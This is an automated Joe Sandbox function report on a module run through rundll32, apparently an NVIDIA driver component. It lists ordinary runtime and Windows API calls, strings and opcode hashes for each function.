Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocatestd::_
String ID: dkT$dkT
API String ID: 1323251999-980905629
Opcode ID: 8df98094edd58df8c846224314a2a9f5266a0c90ba580280117205ba055be1a9
Instruction ID: e958898a2fc3c004f24d64b2b70a85dcf148bda1296ade6be5e46dd8238e74bd
Opcode Fuzzy Hash: 8df98094edd58df8c846224314a2a9f5266a0c90ba580280117205ba055be1a9
Instruction Fuzzy Hash: 3CA1DE32B16B4995EB04CF62E4402AC37A5FB48BE8F118636EE6D23B94DF38D419C314

Function 00007FF8A8D637C8 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

std::_Deallocate.LIBCONCRT ref: 00007FF8A8D63A38
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D63A4C
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D63AC3

Strings

dkT, xrefs: 00007FF8A8D63A05
dkT, xrefs: 00007FF8A8D6392A

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocatestd::_
String ID: dkT$dkT
API String ID: 1323251999-980905629
Opcode ID: d27c97df42f0919bb7aabc8d5ab22ae6d130fd941372a0e1de78d82f0e819688
Instruction ID: 63a42f42aa476de44dcade453e4853257fc240940ac71eaf679ab03ae9598113
Opcode Fuzzy Hash: d27c97df42f0919bb7aabc8d5ab22ae6d130fd941372a0e1de78d82f0e819688
Instruction Fuzzy Hash: 0A910D32B16B98A5EB04DF66E4402AC3365FB44BE8F418636EE6D53B98CF38D419C314

Function 00007FF8A8DE4C28 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 157timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF8A8DE4C4B

Part of subcall function 00007FF8A8DE4504: _invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DE4518

_get_daylight.LIBCMT ref: 00007FF8A8DE4C5C

Part of subcall function 00007FF8A8DE44A4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DE44B8

_get_daylight.LIBCMT ref: 00007FF8A8DE4C6D

Part of subcall function 00007FF8A8DE44D4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DE44E8

Part of subcall function 00007FF8A8DDFDD0: HeapFree.KERNEL32(?,?,00000000,00007FF8A8DE0848,?,?,00002F2295E69E2A,00007FF8A8DCD349,?,?,?,?,00007FF8A8DDCE56,?,?,00000000), ref: 00007FF8A8DDFDE6
Part of subcall function 00007FF8A8DDFDD0: GetLastError.KERNEL32(?,?,00000000,00007FF8A8DE0848,?,?,00002F2295E69E2A,00007FF8A8DCD349,?,?,?,?,00007FF8A8DDCE56,?,?,00000000), ref: 00007FF8A8DDFDF8

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF8A8DE4EA1), ref: 00007FF8A8DE4C94

Strings

?, xrefs: 00007FF8A8DE4D66

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: ?
API String ID: 3458911817-1684325040
Opcode ID: 22439416785a112f76fe9419c4e8c31dab3d3793bf624b84bd0cee521d5097a6
Instruction ID: 18fa43b76780a085fd33a8dc785e09328f87563211ea5b576bddd85177d0d2fd
Opcode Fuzzy Hash: 22439416785a112f76fe9419c4e8c31dab3d3793bf624b84bd0cee521d5097a6
Instruction Fuzzy Hash: 5A61E332A0AA42ABE760EF21E8401B97BA5FF447D4F440131EA5D43A95EF3CE855C768

Function 00007FF8A8DB9080 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 153libraryloadertimeCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,?,?,00000020,00000000,?,00007FF8A8DB9596,?), ref: 00007FF8A8DB90BA
GetProcAddress.KERNEL32(?,?,?,?,?,00000020,00000000,?,00007FF8A8DB9596,?), ref: 00007FF8A8DB90CA
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,00000020,00000000,?,00007FF8A8DB9596,?), ref: 00007FF8A8DB9269

Strings

GetTickCount64, xrefs: 00007FF8A8DB90C3
KERNEL32.DLL, xrefs: 00007FF8A8DB90B3

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Time$AddressFileHandleModuleProcSystem
String ID: GetTickCount64$KERNEL32.DLL
API String ID: 1325709388-3320051239
Opcode ID: e5f6e237485dc9fb21dbce2a5ed82c903e844033b7c074c3668ca47f24bd9165
Instruction ID: 505deda3e98409c8c99d9e029db16455beff3d46cf3e0df1a91796f3cef94ac2
Opcode Fuzzy Hash: e5f6e237485dc9fb21dbce2a5ed82c903e844033b7c074c3668ca47f24bd9165
Instruction Fuzzy Hash: 90519162F2675699EF04DBA5E8500EC6371FB88BC8B445032EE1E1BB99EF3CE1058354

Function 00007FF8A8CF1230 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 71threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionEx.KERNEL32 ref: 00007FF8A8CF128C
GetLastError.KERNEL32 ref: 00007FF8A8CF1296
GetCurrentThreadId.KERNEL32 ref: 00007FF8A8CF12C1

Strings

NVSvc, xrefs: 00007FF8A8CF1356, 00007FF8A8CF1365
NVSvc, xrefs: 00007FF8A8CF136C

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CriticalCurrentErrorInitializeLastSectionThread
String ID: NVSvc$NVSvc
API String ID: 2717818847-2528201179
Opcode ID: 8dcdf2550344e87295149939ece467c90dbcbdf0e4751995e937b7b7eb2bc959
Instruction ID: 24a02d050753987b9d64aa148ff1688c615626a6e98d1ac8d4ad45eaf32d42b0
Opcode Fuzzy Hash: 8dcdf2550344e87295149939ece467c90dbcbdf0e4751995e937b7b7eb2bc959
Instruction Fuzzy Hash: AD411231A0AB52F2F7418B14E8402B933A4FF64BD8F54013AD99D436A4EF7CA5B58778

Function 00007FF8A8D03A6C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8A8D03AA1
RegOpenKeyExW.ADVAPI32 ref: 00007FF8A8D03ABC

Part of subcall function 00007FF8A8D03848: __std_exception_copy.LIBVCRUNTIME ref: 00007FF8A8D038F2
Part of subcall function 00007FF8A8D03848: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D03915
Part of subcall function 00007FF8A8D03848: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D03941
Part of subcall function 00007FF8A8D03848: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D03965
Part of subcall function 00007FF8A8D03848: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D03989

Part of subcall function 00007FF8A8D13874: throw_exception.LIBCPMT ref: 00007FF8A8D13900

Strings

void __cdecl Nvidia::Logging::RegistryKey::CheckErrorCode(long,const char *), xrefs: 00007FF8A8D03AFA
c:\dvs\p4\build\sw\rel\gpu_drv\r565\r565_00\drivers\ui\logging\logging.lib\RegistryKey.h, xrefs: 00007FF8A8D03AF3
RegOpenKeyEx, xrefs: 00007FF8A8D03AC8

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocatestd::_$CloseOpen__std_exception_copythrow_exception
String ID: RegOpenKeyEx$c:\dvs\p4\build\sw\rel\gpu_drv\r565\r565_00\drivers\ui\logging\logging.lib\RegistryKey.h$void __cdecl Nvidia::Logging::RegistryKey::CheckErrorCode(long,const char *)
API String ID: 239400870-1403648629
Opcode ID: f055ff398399059ae8927227b57d428e8287537a93d480e565a91b4db700cde7
Instruction ID: 33bb33a5880e76a903d97e657f7271bbdb7f6e81966c13661e3bf99c9608b1de
Opcode Fuzzy Hash: f055ff398399059ae8927227b57d428e8287537a93d480e565a91b4db700cde7
Instruction Fuzzy Hash: 5011B631B0AA82D2EB10CB29E45076973A0FB89BE4F404131DA6D477A4DF3CE555C758

Function 00007FF8A8DE559C Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF8A8DE55D8
_set_statfp.LIBCMT ref: 00007FF8A8DE55F6
_set_statfp.LIBCMT ref: 00007FF8A8DE561F
_set_statfp.LIBCMT ref: 00007FF8A8DE57D8

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: fa9f4140ac8c3c0c1d9f647f0c4365783f45b4630c9665bc1a543104a0a27ffe
Instruction ID: b5268fe4d6c5d88c9de0753b042ab776d3a492e3a2c4f89721a2777f1cee0340
Opcode Fuzzy Hash: fa9f4140ac8c3c0c1d9f647f0c4365783f45b4630c9665bc1a543104a0a27ffe
Instruction Fuzzy Hash: 5E513E26D0AE46E7F622AE34944037A6372FF417D4F044B39D96D175D0FF3CA8998628

Function 00007FF8A8D44120 Relevance: 7.6, APIs: 5, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D04D08: WaitForSingleObjectEx.KERNEL32 ref: 00007FF8A8D04D62

SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF8A8DB8BF8), ref: 00007FF8A8D4417C
ReleaseSemaphore.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF8A8DB8BF8), ref: 00007FF8A8D44196
ReleaseSemaphore.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF8A8DB8BF8), ref: 00007FF8A8D441B7

Part of subcall function 00007FF8A8D04DB0: CreateEventA.KERNEL32 ref: 00007FF8A8D04DEA
Part of subcall function 00007FF8A8D04DB0: CloseHandle.KERNEL32 ref: 00007FF8A8D04E19

CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF8A8DB8BF8), ref: 00007FF8A8D441F9
SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF8A8DB8BF8), ref: 00007FF8A8D4422D

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Event$CloseHandleReleaseSemaphore$CreateObjectSingleWait
String ID:
API String ID: 1436492870-0
Opcode ID: df526144e84990efae223006a84edff3b767429f22f46508a8fe73c342c2743a
Instruction ID: f76284465001806a16eb0e71f8196d06a17dba19a4114794d6890e8bb22cbdec
Opcode Fuzzy Hash: df526144e84990efae223006a84edff3b767429f22f46508a8fe73c342c2743a
Instruction Fuzzy Hash: 2D319331A1BA0293EBA4CB25A45423E6762FB56BE0F144230DBBF47A91DF3CE4458758

Function 00007FF8A8D14D74 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D14DE3
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8A8D14E52
_CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D14E63
std::_Facet_Register.LIBCPMT ref: 00007FF8A8D14E8D
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D14E98

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: std::_$LockitLockit::~_$ExceptionFacet_RegisterThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 4037175018-0
Opcode ID: 18ebb4d36de1deb9e8f84cc13266950ec36b17d3039d761a23553b459d15360a
Instruction ID: 002a5029a8430268844f00a8053a9a631af2935964acb1de47ae316aa83ce246
Opcode Fuzzy Hash: 18ebb4d36de1deb9e8f84cc13266950ec36b17d3039d761a23553b459d15360a
Instruction Fuzzy Hash: E1316531A0EA42B1EA11DB15E4400B96762FF847E4F580231DA7D03AE9DF3CE456C368

Function 00007FF8A8D3C064 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D3C0D3
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8A8D3C142
_CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D3C153
std::_Facet_Register.LIBCPMT ref: 00007FF8A8D3C17D
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D3C188

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: std::_$LockitLockit::~_$ExceptionFacet_RegisterThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 4037175018-0
Opcode ID: b8bb389a5e621f25b26d9608e0b2ee073185df6d26e955209668fd3c4078155f
Instruction ID: 2b30cae67858db47d438c8df2204b49cf47e22269e86144226f79b98442ee9f4
Opcode Fuzzy Hash: b8bb389a5e621f25b26d9608e0b2ee073185df6d26e955209668fd3c4078155f
Instruction Fuzzy Hash: E9315632A0EA42B1FB219B25E4400B96361EF947E4F180231DA7E03BE5DF3CE456D768

Function 00007FF8A8D15270 Relevance: 7.6, APIs: 5, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D152DF
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8A8D1534E
_CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D1535F
std::_Facet_Register.LIBCPMT ref: 00007FF8A8D15389
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D15394

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: std::_$LockitLockit::~_$ExceptionFacet_RegisterThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 4037175018-0
Opcode ID: 38ee4250fbb25fc554b4fee117d75308bde01d93ea8f5b547f4d4860aced5323
Instruction ID: 55cdde7b3c9192494ab8413a422dabf4550cf41c625fb5009ec63d12e622b53a
Opcode Fuzzy Hash: 38ee4250fbb25fc554b4fee117d75308bde01d93ea8f5b547f4d4860aced5323
Instruction Fuzzy Hash: 03318532A0EA42B1EB159B15E8400BD6371EF847E4F180631DA7D03AE5DF3CE456C728

Function 00007FF8A8D1F408 Relevance: 7.6, APIs: 5, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D1F477
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8A8D1F4E6
_CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D1F4F7
std::_Facet_Register.LIBCPMT ref: 00007FF8A8D1F521
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D1F52C

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: std::_$LockitLockit::~_$ExceptionFacet_RegisterThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 4037175018-0
Opcode ID: 89e9db4c931ab1bf3cdbb28d2ba2b13d26839fe9728c879ca91f479a5de63860
Instruction ID: 7d6fe95e8baf400c6ee89f2f3499b80967ff0c4c6e6f775894db2a51fcd13f73
Opcode Fuzzy Hash: 89e9db4c931ab1bf3cdbb28d2ba2b13d26839fe9728c879ca91f479a5de63860
Instruction Fuzzy Hash: 8F311032A0EA42A1EB11DB25E5400B96761EF947E4F180632DA7D07BE9DF3CE456C728

Function 00007FF8A8D1F700 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D1F76F
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8A8D1F7DE
_CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D1F7EF
std::_Facet_Register.LIBCPMT ref: 00007FF8A8D1F819
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF8A8D1F824

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
